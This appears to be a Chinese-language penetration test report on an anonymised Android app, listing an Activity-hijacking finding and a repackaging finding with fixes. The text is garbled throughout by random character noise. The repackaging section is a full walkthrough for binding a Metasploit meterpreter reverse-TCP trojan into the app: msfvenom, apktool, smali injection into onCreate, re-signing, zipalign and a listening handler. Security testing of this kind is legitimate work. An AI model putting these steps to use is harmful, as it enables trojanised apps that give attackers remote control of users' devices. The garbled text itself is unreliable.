4 j; r/ ?4 ?0 a* ?
: _5 K9 Z1 {. q
6 |8 M" x+ t; q
" p3 C: v4 |: P0 M# s3 ]% ^
2 x* V' E2 F3 `) ~; x7 U
/ c% c+ U* W# G& q: j
& M: B6 s! L. M9 R$ b( T 2 检测结果 " ]0 Q, g' B! m( k9 U. I
2 b4 c! y2 x2 S( o& ^3 `1 H" r! j
9 y. y2 X5 L. p, B; Y
) `+ W- H; G( {. R H ?2 M+ J/ d
2 [2 _+ [3 f2 T8 P. `9 N1 k3 Z0 ]2 h+ I9 e( d
2.1 某某某 . t" P" {; D$ W" u' ^( n6 |& k+ L
- H3 @6 ?+ `6 h9 ]; `( o8 c
1 o+ j2 F) s+ H& {" r
$ J3 N* o9 c/ q! w! U
% P; N: X% T) f
& A# s+ r& R9 H" C8 y0 `
2.1.1检测目标
8 g0 E9 q3 @4 g* f" i8 \
, Y5 a1 n! x8 K6 f0 Y6 Q
* {' y( p8 V/ W) r& }9 m1 R/ _. G9 j& u& c, N( M0 D
7 F, F% X8 C) C1 A
' K# i7 D0 T% J% r S o2 e
目标地址: 某某某某某某APP , [6 n: v2 q" A1 p
. _" O) z6 P' {! J4 r4 t# }& d+ W
7 [- q8 M! d$ m/ P$ d
9 M: z, d8 f# m
5 T. N; m+ {1 q @4 t: q* s0 G
8 |& |3 T# l# B5 Y/ | 2.1.2检测结果
0 Y* H5 c! r( y2 g5 @" |4 a( R- ^1 E5 |: ?
+ @! ?/ \2 o6 e2 I2 s. c+ B
' w: |4 ^3 c7 I- w+ s1 a
7 A2 d% V0 j* I+ M
3 A, c _" r. x$ x/ I, q; Q0 C 2.1.2.1 4 O W7 Z) n4 R! W
: e; x; L' `$ B, K8 w
8 b# l f$ L: V) z9 j+ x2 n( p/ L$ ?
3 v: q# c0 }- T " T! l, K* [( _( `5 k# J) y4 G- ?
- |6 {8 l2 t5 r5 j 漏洞链接地址:某某某某某某APP
+ k- j6 d; V6 E y, L0 f% a# j4 Z. n' q) `
5 C, F) \! Z* O& a
" T! h1 d% z( b
/ E" D/ \& a1 k3 o/ q. G; Z* {7 H) K" S# H; w) Q# s: O! N+ }
0 {$ D% i! l1 _9 Y6 x9 M' Q
0 U m+ w% e3 D1 g& G
( v9 v9 |/ ^4 v3 z) B! [; A# V
: x1 X( _" y. `, h$ l& i+ d
+ s8 x- K% f: _6 i4 X
2 {5 O. Y* }2 H8 ]0 f' A5 A- X 漏洞分析及取证:
7 a$ P+ ]) b- h# k7 Q; H& l% q
{! V+ L b7 B0 ~: G0 g4 t
' ?" f+ @0 ]- C4 P$ Z6 \
# S$ F, G. ~# o+ X 7 t3 c) c& l' H; `# v. V7 E
o8 y) r1 `, f7 g/ K# Y 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 0 _2 D I y( A: T+ L/ f
& c# S/ }7 l, w+ t
( h' x& Q6 e$ K. U: t) n# a
6 w4 n+ _% b i0 i7 c# o+ @- Q / _6 X) a: c* w6 F, f. h
; e+ r7 R. [, I# G: m2 j
, I: l# J; \; J1 X1 c I/ Z2 x
0 D0 u ~" i/ @) F* s& T
+ p8 q0 g/ r% N* @- d0 N! r* \
8 P8 C4 o" Q( R5 a* N# N: ]0 R1 \9 X
3 _& s- ]* o6 a2 B' ~4 J0 W# u0 m7 Z
+ a& [8 q: N: ^4 l/ v% `6 S7 @) e
. b* e: }3 [- u' S9 M- H
/ w. r# t6 b; G# l( B( [. R" \
' N: C0 [* }4 A8 a# M! s3 Y ( X5 V+ K; P& ]8 q" N% }! t; l
" @6 Q4 B. o4 S* W8 q9 z/ ]
. h* O' |+ _1 y1 w9 h: Q- f/ s7 p
2 {" S5 E" r+ S' S
0 `% O+ W$ [- h8 @2 {5 h7 l, Z; n; Y) [8 x4 P) c7 Z4 _
2 _0 z1 [9 k# l: q" q& T6 z
1 B# k. x3 i0 }
. z3 b6 `& L+ v, D) i$ X4 | ]) T- y( e9 O2 g8 C/ \+ O6 t" R
) k7 B4 b. G4 p! i8 M# j% M
# M7 L/ y. f+ P. ~
# L, A3 N. q$ L9 h+ }5 B2 d. ~8 m
) b. v/ t; w% b0 [/ e3 W- }' ~
1 @5 A& l- q9 j% b( W
6 e: l$ Q" X c) `
3 z# Q% z- Y/ }6 y7 r
5 K, A1 r, q2 I' u; D/ b
" h* {1 B$ R* v4 ^8 i4 ?3 @0 k8 f5 m# G9 T, H. A! ~$ L. l0 d7 g+ m
漏洞危害:高 / a2 D3 ^5 p; \& G7 z
2 i' }% `4 c- k9 F3 T, i
6 T/ l* F# ]; B% [1 T, M; R
! d8 E( o' ^- o- M# ? 7 q& F% x; h% P; O% I
% E) b5 t3 o9 X1 g
# `/ p& o' |/ E6 d) F. P0 i2 \$ O
* B, L5 S7 }! _4 H* t5 v
8 ^# z' r4 f; q' r* I) f9 K, J0 o3 j4 |' s' e1 V1 [
4 G7 d! y! Z2 h6 M) b% l: a& G
! f) {$ j: q4 q( b/ ]. A& E |
$ @" a; M6 S- V g; Q8 s
i0 l/ w* M3 N
; d* E* D9 k! B
8 x+ ~1 q+ i& Z: Z7 G* v- ]/ E% E 严重程度 ' F. `( T& A" B6 v
4 m# d' ^4 J a
! q1 D+ G5 J; @$ g1 W8 V3 g9 m! _7 u+ C* v8 I0 N1 ^) p H
| 8 I% O/ {! r; q6 j; Q
3 j$ t. W! ^& j" B
/ ]" s* H( }. H8 h8 j$ I
4 Z. r; F; ?2 a) W
1 K( B. l7 z: R5 {; _& r
' S( g! N. P+ {1 P
高
6 S. n8 b2 l* E8 Y$ E3 w5 @+ x$ B# ?" F4 a% a1 F4 k8 x
3 F u) z" \3 H6 T1 [& O9 ]3 }% x
$ d, k7 q6 f0 m
| + M! _/ ~3 a; A7 G/ k! \
5 k M5 Z+ N! c, C4 h
/ Y* F! |% B6 M2 d( D5 n) z2 v3 u
" C* I/ t4 ?/ s& Y2 K0 A
; R c/ Y- Y$ R& @; @6 d( I5 W0 D6 h) X1 _/ h/ j, p
■ 6 F/ e7 {( I4 M9 Q4 Z% d: r
8 u9 T! ?; h# d" K9 k
; _4 M) N6 R" ~+ d0 p
& n( ^1 k$ X' x w2 [6 o6 t T | ) g! L9 C3 m9 \6 [' L, b5 p$ c
9 V# V d& Z5 Z2 E
0 c3 r( l: d6 b, u
; w& g4 ^, L- `. H; h+ [9 H9 u5 r
4 W# i* `4 K4 @( n) o6 R+ d: X1 e. j/ `! r* W+ t! Y k" f
中
, N$ w' t+ J, R5 U' C, X# c4 x# k. J
; @- f+ u" |3 I' U, Q& ]7 Y# j
; Z2 G! o* I3 t6 J6 S2 k: v3 V1 |9 g7 h
|
) b* R8 \1 z. v* |7 g* m3 n
' L8 L9 Z! o1 Q% @4 s# o& ^# C , q9 l2 g7 p3 D& {
{9 ?, l" x, |1 g G) t' W% Y # V6 m% \6 y' z1 M2 x1 D) b
1 {/ W! v9 P! J& h$ G( t
8 i0 A5 k/ I7 P u; Z% e( I& n3 N
2 x7 l, X) o& k1 m: b4 H
) Z# C& I" g+ O: G
' L6 j+ ^% T! a* |$ T4 j5 ]4 H | 9 Q6 [0 R& b, g1 y) U
, I" h) P0 B t 1 U4 l& H1 C. p
# f b! d9 P$ o4 g. o* R) r( m
* x( }9 V' }5 s a* z% P7 V1 f, W7 _
) p9 P; F& M, X 低
* v7 v$ D- p% K5 T: O! t: b" [+ W( s' B5 o) L3 u. s
. z; k4 [. _. y% C! K4 t
2 N* O: h' d' {/ ?/ p& G | + k3 m" l' ?2 R V! S( Q
% c6 r% z, M# f$ ?" C' h
$ s* n9 \3 E, j+ [7 i4 P) @, Q% P4 ^! Y# p# {
t% i& q! ^' j$ q! B
( j/ j0 k* a0 j% f% @
$ j# j& I$ c; ?8 w. p/ N b1 \( \
+ q ?2 C4 \7 \1 c: e8 \( q
3 O1 c2 x9 t6 `# Z |
* C3 ~+ n) W; I; M
& _: d7 X6 h/ G6 v# O% x) v
) [" P3 O8 C( g8 k) }- z, d/ s
: K) {! f- j, |$ H3 @- ~ ! C0 H/ l/ @9 X5 d7 G8 e. g& n- ?4 m
! B' H0 ]. {: A0 P# ?9 W- R
+ E& Y/ v9 f% U0 V- Q* w7 i1 I/ t+ m; a3 z X- O
; H; C# P& ~& i5 |+ [
" T7 J3 @6 S8 o7 P! }
- U+ b) R. V+ x0 @: {8 `
3 H: Z" Z d r. g( Z% d' K/ B
! }1 {5 M- c2 t+ Z* n" |" s3 b/ p3 [. c" h& S
8 A' F2 d8 [' v8 R& {) J; Y
- p- Q, v0 G, y2 s5 f
1 T/ d7 |! k/ M3 N: R, w* M, D8 K [: ~3 o" k8 c9 p3 u: g X
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
7 g) J+ ?) W' ^: s( J
2 k/ ]; N9 A! I, E; q
9 b6 \8 y- T8 A6 L4 d! B# x% r+ h8 N- N0 l, U
$ W+ ?8 C3 k1 |) O1 b, w" |, Y! ^
' M1 ^4 }( O% P% y8 b
9 O6 [. ?. b" P4 @+ Z' e
7 A3 j% f3 p6 V) s' n& |6 n) W
% C; p$ Q# q- J# k
8 ]( j" k1 P' O9 I3 y5 f! K' f 6 ^, d1 W% C- E7 y
: j7 a8 e0 X' r( A' U, w' L+ K( m
3 K2 w0 |# p! N2 X& U9 c$ ?" ]# b0 P& h7 I4 D3 Y) G
! E5 K! _2 W" U. L' c# X% M; C. k! I i: Q$ B i( v
# b- c$ T. I+ l4 [# e$ I( H
; J" ?# X B5 k/ o
2.1.2.2 7 Z: i+ u o) C% X9 _
( h0 A5 Y6 Q" d* W9 z
Z o. k% N% N- W7 x. L
9 } b9 V4 t" o9 W5 [. W
, S% z y) i/ Q* w4 J
/ g! {$ t/ V0 I) P3 Z! d 漏洞链接地址:某某某某某某APP
2 } Q2 {& c. [) l7 y
' Q7 b* i# r& `% S! {3 t+ i2 w
; M+ ~; x' c8 E) ~. ]/ j& c t; E$ L3 J# N3 l/ I
( d8 d; m# P3 ~7 ]
' Z" h( L0 ]7 B% k5 g7 h 漏洞分析及取证: 9 {# z/ p; D x) U, l# o- ?% K" i
( _ r/ T, I; p2 @1 @; a$ d' N
! }* q! F9 |2 ?) A9 V+ \; s: [! K2 l0 S8 E* U" z& v! X) Z3 x
; z& q; `7 f$ y2 N. q) N( [: n
$ c& @+ @. q# T, n5 d 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
1 v& E- ?# R% G! h, y u7 w+ Y: w, d% _; O4 ~# k& y
3 g; d( B# w' s: V$ P7 C2 G4 E
# x# Y; k' k6 L2 ~, |, W & i* ^0 o: F, {
1 v+ F; Q# q2 ?7 @; L 用Metasploit 生成木马 apk
2 B1 ^. |9 ]$ z H" [! i% g$ N6 f$ t
# S* N# W, v* e( B, p
; Q1 O' D& H& C
/ ?9 C% I6 t8 Z2 a - w/ ]& q. ]- o3 [7 e1 L% K
8 K0 R' G8 ~& ?' {' j1 V msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 5 z7 K/ X, b8 Y* I7 h
5 t3 a9 f4 X) f0 Z$ z6 Q4 x
: u# Z) q4 A9 g. a; b( z6 z
6 N# v! Q- E- l) u, g k
% H2 W9 a! R( P7 n
8 V6 F. J9 Q& t 反编译目标apk和木马apk
1 c9 O* J; E; K2 k W% q7 K3 \) B' C c+ P5 U0 Y' u
) v8 B5 E* s$ N% Z0 g7 K
* A% f2 Y/ k* B2 W- [. y2 x
+ u, N* ^; b4 P2 @
2 w# H+ e, c9 d' W& c$ e apktool d target.apk
- W0 y/ i- x. Y' r- U
. V% Q# j6 k; Z1 U# m4 T, i- I! R apktool d cockhorse.apk
8 n2 u8 H# X5 h) Z8 w. C% _- i9 ^4 U+ r, Q1 p3 o" `
9 |. I! ~7 e8 ]; e" P# g2 t6 Q6 N, N
) X* a1 X" Q- G) s# G; n5 V
: y( Z' l1 X: o1 O j: B0 r) A1 ~: S% S
木马 apk 注入目标 apk , K+ X0 V: L6 Q9 E
6 x5 Z. ?9 w' L' L; l8 Z/ U
2 v, x, D8 e1 v N* ?: b
$ L2 P$ b+ u3 S% G9 a
1 R1 ^' U5 U. I3 }6 l; O' H3 `; x9 `+ {
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
* G: d2 W/ m8 t5 ]; E& Q& F9 c, M1 P
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 0 ^3 T: n$ {9 G6 @
0 b. n+ l4 m" V0 z2 F* ^
+ G- t" P# F Y
- x& k5 g( x3 O$ i8 d( v% q% w ' B0 z2 S! h9 Q8 J$ z
5 k _, j1 {8 q6 o! m 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
9 z# _. d$ Q1 F" l9 I0 m" Q2 Y/ q9 T( P1 h
& ^1 `2 l9 U6 Z6 e3 k
+ f a6 c" b, _7 f; E* U4 `6 q) ~+ Y3 k8 Q; Q# D
$ U8 i& a9 W$ R: a3 R
1 m/ z+ k9 ]. e( I
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
9 V% D9 {4 d8 g$ F" n! I% U! g/ _
) g) n& \+ J3 v) O4 a
e$ k4 r4 m" g# d& g
+ Q. o8 Y, Z0 b$ _: I* h! E* ~# s
0 V% W% C9 ]* ^9 [
! Z) e7 x" p* I- J+ A 回编译生成最终 apk
7 w1 H% b" Q4 n9 J" y4 e- ^
% K* M5 ~1 v) i" A, m
P4 K9 F# U: i4 A, K6 u/ d% y& b% a# R# D
3 S9 _9 _/ z0 R* }( a; q+ ^
5 _, V. e# [" L. J& X+ H: _; B
重新打包
; L( S8 N7 ?- B' x
d1 T9 _3 D7 L, i
! W( Q/ V0 D1 K) P2 D' P1 M1 O8 x7 J' p
& R& [% B' g+ f+ h j0 G* ?
) c+ R; B* L0 s' e9 m, F! I- ? apktool b -o repackage.apk target_app_floder
4 `: c( W. ]5 x3 y% d
8 _, g( p6 W0 [, a
9 h2 H6 l w5 B9 ]/ y- u# g5 T5 y/ T2 H& h2 |
9 |, l! ?& m4 {
5 c1 Q" R! N K. J3 d 创建签名文件,有的话可忽略此步骤 3 a" o9 A1 ?0 C; f+ f
9 Q, v- {9 `' }
) S2 f4 O8 b9 O" F- L
# |9 D5 l$ a% K2 D4 C 9 G0 j3 V5 @+ D* E8 \
' B$ j: ^1 v+ u0 R keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
/ \, e, H) [" B) w1 \. [0 _
2 G2 ~# Q) {/ v3 X% n
% l D; I! F: O7 R$ c6 n- h
0 a! ~9 u: _8 e3 n( f 1 ^. ]& }! f3 F: d9 Q% u& B7 N
" L4 ~5 Y, O% Y" ^$ j4 _ 签名,以下任选其一
s+ B2 o% H, g+ o( ^% M( D
9 H- m" T, S* y' w
; R5 H6 h$ `3 { Q
6 H! c+ X4 R7 J# @5 F' P$ c; j 6 C) t9 }# n% }6 w4 B
+ C, W/ G: _7 e$ C8 f5 ?( Z jarsigner 方式
5 v; b3 S+ N' l1 l
& Q, G3 X" @& s" K8 a/ O
, _( {" `9 U% [8 |$ U7 u2 M
! a% i, e* B$ b4 f . s {+ m$ g- [1 C1 B
4 i$ {* `, W" }7 x6 J
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 0 \4 w1 |4 c+ [( d0 z5 N7 z
9 {4 G$ R* @' s5 E: t7 B4 w
( _0 X; F) e3 p: L% i$ `: h r
+ g$ \% ?" \4 z6 e) q9 C $ C0 i! H4 I9 {$ v6 f: G( o
: C4 Y; V# n; K1 B4 r3 W$ q apksigner 方式 - d4 ^3 f; v& B& Q9 t
1 H p: O- }. R, X3 `, R
+ K2 u, @ o( n& h$ w* F/ [7 c' n! s! p$ l% u; y
' H6 f5 S- c3 e$ a$ p, B& G% ~/ s a0 ^3 m8 R$ R$ U
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk / p+ t3 P! k& X M D& c" w' S
4 r6 W: L/ _- \, j9 I
5 \2 D6 X: i$ v* \
6 G0 h, o/ c! f) f( h; {# q' p U
$ m' O t$ J, j9 m! t/ ^6 e
* q1 n' G4 R C; l) O5 f 如需要禁用 v2签名 添加选项--v2-signing-enabled false 0 C" w$ Q2 }/ W; }0 z
( _: n4 W1 Z1 L, a
; K) l# S+ D% }+ e6 U
! L: `) v3 M& _6 o
9 x) f2 x7 w( j/ x7 x! v! m0 o/ z K' s" i
验证,以下任选其一 8 u' ?7 `- `; F! I. o4 d4 w
9 e4 ~+ u8 ]. b' J2 G
+ ~1 Z- [6 C4 m1 S8 g( I+ L& W2 Z
% Q+ y6 g e" c2 H {" r: z
* S- X8 M6 ~% a( C' y
! J* h9 }. `! B F jarsigner方式 ; P2 f0 v* ?2 i' `( n
: Y' J( b+ d( S" h5 }0 B; n
0 P9 P, ^) R8 v8 O% @) D7 H9 P) F0 p* B4 a" q" h4 o
9 A6 L3 i: ]% x8 ^4 N. f. n% o3 l
- R& A+ N; V* y! q( w jarsigner -verify repackaged.apk
4 w' h& y! d& h% `2 K$ x, d7 \8 G& q4 {- i+ a6 a9 c' h
! H; P9 `2 ] c' E; p
" @# v6 w1 I3 {
' t- W* X5 o+ a2 N6 p/ o8 X! C$ b' o' L! z; Q" e0 \
apksigner 方式 * q' v# s9 P* d d" j: i
2 A9 y$ G! p# m' ?
) m. @+ O5 i& Q ~& Y: ]
, \1 {1 s' |3 s" U, M' n/ o( q
6 ?2 z. u! ^' e- M9 z6 e; c0 n1 Q+ a7 I1 u
apksigner verify -v --print-certs repackaged.apk : n* O I- h. _" _+ r
* L" y2 w4 P" z* _
, C" v" ~; O' c' A$ H1 a
. W/ t% P; `2 |4 V- I1 J/ U( W 0 W, e; t: R, l/ w; u
- I) e- p5 \+ }# a% A2 s5 d: j/ O3 J
keytool方式
* m% T( C% Z2 I! U$ K
~2 Q; _; c, R6 ~
) Y' S6 M3 U: G4 ~* j4 U
% n6 R& s2 ^0 \ J" P h
% }3 O0 T+ [) f" A6 G0 h' }
" L+ d- r- T" p- [: @ keytool -printcert -jarfile repackaged.apk
$ L0 E- u4 M) E" m8 H
2 r9 P% K1 w8 L3 a- Q7 b
: o4 P) z8 k$ g* Z. I- ?3 J% l
2 _6 ^1 V7 X. F8 f. F: J
8 l3 J; V0 K. X" x$ J# x
+ m6 y& w# s( N% q 对齐 $ Q1 j1 t1 K# @3 Z3 P3 j: t
' F# C* l1 {( ^$ _& \
7 m3 g9 R) [8 L/ c! V
& t5 g( W* r- `
" F& W7 g& Z+ N: e% E( }7 {: y' k- D! y( u9 s
字节对齐优化
/ |% z4 Z9 k6 a' W& l" n# A. w6 r, ]# O1 A1 a1 A8 k8 C
, ?+ i: g, U7 c. }/ b- I0 X; X5 V
% [ U, q6 ]& z1 J/ P. e, k
5 ?0 p6 g) n- v! [ C4 i zipalign -v 4 repackaged.apk final.apk
1 T0 X6 P% `2 a( h( E! n j
[; G$ f; @- [- L2 X1 c7 u, A
: [1 R/ m( u' Y! G4 s& ?, V% G
9 H/ e1 T" P( {% b) O$ C' r
; b# x3 y4 w4 V1 f9 [
3 c( I( K2 }; I6 L" _ 检查是否对齐
2 P6 W: k* n3 `* F# Z# w* q/ S/ U" I$ \
. h+ f2 c: p3 Y1 _- J
* `0 j" z0 d0 ^
; H* K- l0 J+ ~, B7 B1 p
; w. ~: \- G @6 a! R9 m
zipalign -c -v 4 final.apk
7 k0 t' {( |' W7 H" v
" Q; W1 n% D: l
; e" P: |) V$ S* b/ L7 K6 H0 j
# X4 i# u g; S. d) _+ E. }1 R9 z. u9 u
& l& y/ g8 Q0 p `7 J" y! G. c
, d$ H( u% ~8 }% Z
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ; c1 e, k# M Q `! d) @
& ~; P$ j+ m8 n: Q
* H1 J3 J- X& `0 O' w
5 W& g0 W" g3 _; P! S* u
- t2 C6 e2 }+ |9 q; b* z
+ m5 {$ `6 T! O* T2 `+ G% X
启动Metasploit控制台,配置参数等待上线 ; ~( k' D1 L+ d- v f& q
) B, A) S" R) A# M s# h( c
/ A! d! D5 t6 X* N% F
) H/ l6 J2 d& b' F7 N# k1 o) b 2 R! u/ e% S% z" m, \: e
" t3 ^$ y$ ^- _# B. G
在终端依次输入如下命令
$ U* p( C# X2 h# ]# U* A, e- N
2 I5 G2 T. \, b
) e2 t% z7 L' l, V9 m0 d
3 y' C9 c- M9 ~" f$ [ ! P: K3 I, C1 a$ m
1 Q1 `, H. X" ], x6 a; f; K* \5 ] msfconsole
6 A# l* y: {5 M
0 E: j7 A) K" q& b! {9 X6 J
) m6 p3 _2 Z8 ?
) c; T/ H8 s4 H% q, l. |$ ]
7 L" |: G, \; E6 _ ]
. R; C3 Y8 n+ A' N" o3 k0 | use exploit/multi/handler
& i( ?0 P" j* Q9 m
4 |/ z, ]# j! m% L
, ^9 v& J2 ]" }! h
) \% R$ t' q8 g" [# q & y# z, F! r4 u& Y1 J) h
' D3 |, r- Z( C O set PAYLOAD android/meterpreter/reverse_tcp 3 |* d7 S6 D ] ]! _2 G* D: d0 d! A
9 W3 Q+ \2 y& J
* F- j0 B X. ]& _
9 Z5 F% m& I) F) R, q/ n, p
) k! e/ q5 k) `
6 M# V, n$ r7 e. t* C" y set LHOST 192.xxx.xx.xx
3 z i9 R4 m1 P5 q. `9 {* b7 \- Q2 e: F5 D [
/ i6 U* [2 A% `0 W+ W- g! X3 N
- n+ H& [0 ]5 {$ T* P+ F ( h4 j# ^% _7 b A
9 ]" U- W; K3 k4 N3 `- h; _7 u& M
set LPORT 4444
. [$ Y: I) c% H& Z1 B6 D$ G) t1 v1 \0 \! v! _# J A$ {
9 G9 b, ^* o! A# Z% d; v
: {) J6 K: \8 j' I ) x5 \# O4 A$ I+ V, v
' l; f: j) ]3 \( U6 z# ?; d
exploit
3 R0 ^" G3 j0 a3 `
?, M) x7 H2 E0 w* Z' i
7 s- Q L C& w' i+ Z$ T, h$ Q& Z! Q( L# e) G+ k7 Q
8 b# P, K1 ^, P3 `) |* l
: a: y& @, N% W" b0 Z( t 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
# j3 k* a! ~! d% O1 J
6 h* Y0 f$ q5 J! |
, I' n# |0 c$ `. m) @
1 p! c; H& W4 O2 @ w9 [5 _* B 6 ^& l. ]1 U, n2 N. u
, s2 C' L4 {" v, `+ F3 ` 漏洞危害:中 3 h% a Q& H2 X) b4 L2 F: L
9 m: i! E: B: K
3 y( t* f1 k# f! E: x+ r0 P) r( r/ F g# _( _- z* T1 `% k6 v3 @
% v" h7 {9 w6 V+ v6 w
E8 @! i( g2 D7 D- h4 P' L 0 V- D5 h; F) q9 H1 F9 d
+ I5 a7 }' H! w) F3 N; e# d& M3 [3 ~3 \
) d, Z4 a7 `% l
$ d3 p1 L' k' S% f0 P 9 |0 k% ` Q/ M$ T$ H J$ P \- x0 d
0 z+ Q; N- W7 C# L* F2 d ( g3 y+ J+ [# B& K4 y9 l
( [" ]( T3 D" V
|
( x: \8 o3 X2 N. Z! |( {- K- ~/ ^! J2 t
% A" w8 a- K2 G9 E o0 \( w5 }8 q' C
1 e7 j7 k; H# V1 p% T" `( B
严重程度 7 V ]1 j8 P$ o9 C+ G2 o$ ~6 B
r8 b/ o' C% Q9 | : B5 G7 G8 K2 s
& X& W; d. k; i9 \: Z0 G | - h D3 d/ p" K
- U M, F$ Q/ z7 |& k
" \# g$ V6 d U: a+ z
d: H* i j9 h5 J6 r3 r/ |; x$ Y1 P
8 X( l$ W6 _* _7 ^9 M% }- a6 l" `+ p2 N
高
' T9 ^% D# p4 t+ T$ s
4 @4 F: }+ K4 m: S% K7 l
5 J: v( F" a! J' ~% D o5 C- ~/ C# }8 j- z% O+ ^5 q
|
0 ` S: d2 P. d5 S/ I; ~( ?. D4 c& Q7 S, u4 M
2 |$ \% x$ ^( z6 C
/ e: p; X% h; R4 W# ]7 I % A5 d3 d ~; Y, c
, }) c0 @+ v: \0 `5 Y ■
' j1 i" M" J {% k, k6 r
7 {! x4 A1 G2 ^6 e, ] 0 r, V! M/ X6 B% S) t6 N0 b" S# Y
3 K) g I) B" p
| 9 P# W! z6 N4 F8 t& L6 l5 r9 p# g8 x
* T3 o3 }3 n7 w% ?1 p
' }0 b$ M1 d8 u; W' p
+ v7 u! L+ U+ a! {' e: B 0 C, A% S2 Z& n9 b3 g0 O
! k |7 Y9 f% i2 f" d3 L/ G. u' [2 O
中 , I1 X- ?8 ]1 b5 J. h5 J6 l
5 e, ^+ e2 X' x" n
' h, t# k8 X6 L7 l+ y% c' C& L \
|
5 T) ?; e# |" e& A
9 x' ^$ H5 b1 a4 @1 c- f
0 f+ h- s" J% d3 U# c; t4 K& p9 B+ s$ N: o$ V. ~8 `
# y/ H7 W, i, [2 e
' x9 z$ u1 i8 m8 Z9 u! s
3 ~) ^8 X6 @ x- k1 O2 }* m6 M* g5 `- I8 n
# S+ {. [) l$ p \, ]; E, c! M
0 A. E3 m1 c" c a' T" ?5 F$ F' b+ q- E0 |/ D( j
| 1 j% n9 |6 D. d- u
4 b8 f/ V0 A: C
( J% e3 c$ C1 |4 [% U6 t- o! i+ C- V- o; W
5 K. y2 ]) s+ V2 ]3 l1 B1 R+ O9 A: y: f
1 Q; _( U$ a5 i& i 低
l! d: D% ~3 m
4 g5 H0 N7 T1 {( a- I* q( P; z
3 f- T; A$ }9 `2 M e7 [" v1 H% z9 T
4 F7 B8 ~/ y( V& {( } | - M8 m8 @: A b0 ?' E
& n5 P% W* E, ]: w h1 q% s# H6 i
" y: X+ Q0 [; b9 D) `) Y1 `
5 \" N' F3 J: ^
3 M0 y4 I* `' S+ l/ s, A5 o2 C ~
- q8 p, o; n2 j- N 6 ]+ Z5 l2 f' j6 }
2 i# ]# w( q) r
' \6 v: y4 \0 {" D$ n
5 i% a: d3 j- ^# G1 V0 M, i1 F f/ | % [# E8 t/ w) _$ P
( m4 Z! I8 ]4 G" \ |
7 ]0 |) z% `1 t
/ U1 E4 y. D3 h" Q; B
. N2 v) z" b+ p P7 F1 l: M# n
& I- k2 o% k }: h
4 _2 I) U5 C6 r" P+ {0 ^' J9 v) e, N! ^) u7 }" Y" j. [
0 I% u" }# |% o0 _
4 H& r- ~8 z1 w2 | $ B6 I0 {/ D) _+ ^/ P6 r% ~: ]# B7 f
2 R' ?9 t+ \& j/ h$ i
# @; t9 t/ W& k) C( e! M& P% J
( h3 p n, \! z7 U6 z2 K" j 4 L7 `! ? t) E0 ^# D
' R" [1 M! ~ J5 f* n" N
; V$ R" c/ P4 |$ @* ?: E; x% i9 F% ?
2 C, O0 w7 E* E9 F& D - y: P. n d/ A
; l* M( a% z$ C1 Z, W, M( U
修复方法:
. D; p. l8 F; v# Q9 W
+ p, t9 M; \% k+ V& k, \9 {
" J. `0 S. P2 j$ t' s: {0 ?0 g6 j! z+ }) e
2 L* e& k$ y" r* S
/ R2 |: ]$ V1 i/ Q 1.在 APP 启动时应做签名校验防止二次打包。
; v0 S5 p- ~0 Z$ D/ q
2 L6 a- b4 ?+ |) a) T 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ; z( `3 A1 |9 a# S; j: j
. `7 j0 N# _) B' n; F
0 r8 `: [$ V, G; s
% H% M: B* Y! C " R% z+ |$ ?0 S( M' ?( s; t1 U! f; V
% s6 k5 n6 v: d" q, s" q
; S6 N7 G6 P" G9 V% s7 {# X
, y/ c8 r5 Y& c% T* w# M ' M2 B1 V* l! R& M6 G9 h( d% L
; ]1 N' w7 u, M8 e7 F: N/ V
9 x5 s8 Y5 I3 f: d2 q
2 M, p0 g7 T0 m! p0 J+ F
! m$ B2 N1 T" i* F7 N
& X0 j4 S' N6 C ^, O* G7 d( M
5 \2 k; T- X# T% N5 _
5 i' W0 {8 `, C& e! q% M, A2 u
2 ~2 x% f1 p# x% C3 {1 M+ }& R2 Q- ` g( Q5 N* t3 T
: b0 A' B. U9 h
Q2 u f9 ?2 R' ~" W9 |: T8 M